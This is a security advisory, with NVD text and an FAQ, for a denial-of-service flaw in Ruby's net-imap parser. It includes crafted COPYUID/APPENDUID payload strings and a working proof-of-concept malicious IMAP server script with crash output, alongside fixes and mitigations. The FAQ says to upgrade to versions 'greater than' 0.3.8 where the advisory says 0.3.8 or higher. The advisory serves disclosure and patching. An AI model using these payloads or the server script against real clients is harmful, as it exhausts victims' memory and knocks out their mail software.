CVE-2025-25186: Net::IMAP vulnerable to possible DoS by memory exhaustion
Summary There is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#toa to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges.
Details IMAP's uid-set and sequence-set formats can compress ranges of numbers, for example: "1,2,3,4,5" and "1:5" both represent the same set. When Net::IMAP::ResponseParser receives APPENDUID or COPYUID response codes, it expands each uid-set into an array of integers. On a 64 bit system, these arrays will expand to 8 bytes for each number in the set. A malicious IMAP server may send specially crafted APPENDUID or COPYUID responses with very large uid-set ranges.
The Net::IMAP client parses each server response in a separate thread, as soon as each responses is received from the server. This attack works even when the client does not handle the APPENDUID or COPYUID responses.
Malicious inputs:
ruby 40 bytes expands to ~1.6GB: " OK [COPYUID 1 1:99999999 1:99999999]\r\n"
Worst valid input scenario (using uint32 max), 44 bytes expands to 64GiB: " OK [COPYUID 1 1:4294967295 1:4294967295]\r\n"
Numbers must be non-zero uint32, but this isn't validated. Arrays larger than UINT32MAX can be created. For example, the following would theoretically expand to almost 800 exabytes: " OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\r\n"
Simple way to test this: ruby require "net/imap"
def test(size) input = "A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\r\n" parser = Net::IMAP::ResponseParser.new parser.parse input end
test(99999999)
Fixes
Preferred Fix, minor API changes Upgrade to v0.4.19, v0.5.6, or higher, and configure: ruby globally Net::IMAP.config.parserusedeprecateduidplusdata = false per-client imap = Net::IMAP.new(hostname, ssl: true, parserusedeprecateduidplusdata: false) imap.config.parserusedeprecateduidplusdata = false
This replaces UIDPlusData with AppendUIDData and CopyUIDData. These classes store their UIDs as Net::IMAP::SequenceSet objects (not expanded into arrays of integers). Code that does not handle APPENDUID or COPYUID responses will not notice any difference. Code that does handle these responses may need to be updated. See the documentation for UIDPlusData, AppendUIDData and CopyUIDData.
For v0.3.8, this option is not available. For v0.4.19, the default value is true. For v0.5.6, the default value is :uptomaxsize. For v0.6.0, the only allowed value will be false (UIDPlusData will be removed from v0.6).
Mitigation, backward compatible API Upgrade to v0.3.8, v0.4.19, v0.5.6, or higher.
For backward compatibility, uid-set can still be expanded into an array, but a maximum limit will be applied.
Assign config.parsermaxdeprecateduidplusdatasize to set the maximum UIDPlusData UID set size. When config.parserusedeprecateduidplusdata == true, larger sets will raise Net::IMAP::ResponseParseError. When config.parserusedeprecateduidplusdata == :uptomaxsize, larger sets will use AppendUIDData or CopyUIDData.
For v0.3,8, this limit is hard-coded to 10,000, and larger sets will always raise Net::IMAP::ResponseParseError. For v0.4.19, the limit defaults to 1000. For v0.5.6, the limit defaults to 100. For v0.6.0, the limit will be ignored (UIDPlusData will be removed from v0.6).
Please Note: unhandled responses If the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses. However, net-imap has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses. This is not significantly different from connecting to a trusted server with a long-lived connection. To limit the maximum number of retained responses, a simple handler might look something like the following:
ruby limit = 1000 imap.addresponsehandler do |resp| next unless resp.respondto?(:name) && resp.respondto?(:data) name = resp.name code = resp.data.code&.name if resp.data.respondto?(:code) if Net::IMAP::VERSION > "0.4.0" imap.responses(name) { 1.slice!(0...-limit) } imap.responses(code) { 1.slice!(0...-limit) } else imap.responses(name).slice!(0...-limit) imap.responses(code).slice!(0...-limit) end end
Proof of concept
Save the following to a ruby file (e.g: poc.rb) and make it executable: ruby #!/usr/bin/env ruby require 'socket' require 'net/imap'
if !defined?(Net::IMAP.config) puts "Net::IMAP.config is not available" elsif !Net::IMAP.config.respondto?(:parserusedeprecateduidplusdata) puts "Net::IMAP.config.parserusedeprecateduidplusdata is not available" else Net::IMAP.config.parserusedeprecateduidplusdata = :uptomaxsize puts "Updated parserusedeprecateduidplusdata to :uptomaxsize" end
size = Integer(ENV["UIDSETSIZE"] || 232-1)
def serveraddr Addrinfo.tcp("localhost", 0).ipaddress end
def createtcpserver TCPServer.new(serveraddr, 0) end
def startserver th = Thread.new do yield end sleep 0.1 until th.stop? end
def copyuidresponse(tag: "", size: 232-1, text: "too large?") "#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\r\n" end
def appenduidresponse(tag: "", size: 232-1, text: "too large?") "#{tag} OK [APPENDUID 1 1:#{size}] #{text}\r\n" end
server = createtcpserver port = server.addr[1] puts "Server started on port #{port}"
server startserver do sock = server.accept begin sock.print " OK test server\r\n" cmd = sock.gets("\r\n", chomp: true) tag = cmd.match(/\A(\w+) /)[1] puts "Received: #{cmd}"
maliciousresponse = appenduidresponse(size:) puts "Sending: #{maliciousresponse.chomp}" sock.print maliciousresponse
maliciousresponse = copyuidresponse(size:) puts "Sending: #{maliciousresponse.chomp}" sock.print maliciousresponse sock.print " CAPABILITY JUMBO=UIDPLUS PROOFOFCONCEPT\r\n" sock.print "#{tag} OK CAPABILITY completed\r\n"
cmd = sock.gets("\r\n", chomp: true) tag = cmd.match(/\A(\w+) /)[1] puts "Received: #{cmd}" sock.print " BYE If you made it this far, you passed the test!\r\n" sock.print "#{tag} OK LOGOUT completed\r\n" rescue Exception => ex puts "Error in server: #{ex.message} (#{ex.class})" ensure sock.close server.close end end
client begin puts "Client connecting,.." imap = Net::IMAP.new(serveraddr, port: port) puts "Received capabilities: #{imap.capability}" pp responses: imap.responses imap.logout rescue Exception => ex puts "Error in client: #{ex.message} (#{ex.class})" puts ex.fullmessage ensure imap.disconnect if imap end
Use ulimit to limit the process's virtual memory. The following example limits virtual memory to 1GB: console $ ( ulimit -v 1000000 && exec ./poc.rb ) Server started on port 34291 Client connecting,.. Received: RUBY0001 CAPABILITY Sending: OK [APPENDUID 1 1:4294967295] too large? Sending: OK [COPYUID 1 1:4294967295 1:4294967295] too large? Error in server: Connection reset by peer @ iofillbuf - fd:9 (Errno::ECONNRESET) Error in client: failed to allocate memory (NoMemoryError) /gems/net-imap-0.5.5/lib/net/imap.rb:3271:in 'Net::IMAP#gettaggedresponse': failed to allocate memory (NoMemoryError) from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in 'block in Net::IMAP#sendcommand' from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize' from /rubylibdir/monitor.rb:201:in 'MonitorMixin#monsynchronize' from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in 'Net::IMAP#sendcommand' from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in 'block in Net::IMAP#capability' from /rubylibdir/monitor.rb:201:in 'Monitor#synchronize' from /rubylibdir/monitor.rb:201:in 'MonitorMixin#monsynchronize' from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in 'Net::IMAP#capability' from /workspace/poc.rb:70:in '<main>'
Other sources
Net::IMAP implements Internet Message Access Protocol (IMAP) client functionality in Ruby. Starting in version 0.3.2 and prior to versions 0.3.8, 0.4.19, and 0.5.6, there is a possibility for denial of service by memory exhaustion in net-imap's response parser. At any time while the client is connected, a malicious server can send can send highly compressed uid-set data which is automatically read by the client's receiver thread. The response parser uses Range#toa to convert the uid-set data into arrays of integers, with no limitation on the expanded size of the ranges. Versions 0.3.8, 0.4.19, 0.5.6, and higher fix this issue. Additional details for proper configuration of fixed versions and backward compatibility are available in the GitHub Security Advisory.
— NVD
Net::IMAP vulnerable to possible DoS by memory exhaustion
— Microsoft
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2025-25186?
CVE-2025-25186 has a high severity rating due to the potential for denial of service via memory exhaustion.
How do I fix CVE-2025-25186?
To resolve CVE-2025-25186, upgrade the net-imap gem to a version greater than 0.3.8, 0.4.19, or 0.5.6.
Which versions of net-imap are affected by CVE-2025-25186?
CVE-2025-25186 affects net-imap versions from 0.3.2 to below 0.3.8, from 0.4.0 to below 0.4.19, and from 0.5.0 to below 0.5.6.
What is the nature of the vulnerability in CVE-2025-25186?
CVE-2025-25186 is a denial of service vulnerability that allows for memory exhaustion through net-imap's response parser.
Is there a workaround for CVE-2025-25186?
There are no known workarounds for CVE-2025-25186; updating to a secure version is recommended.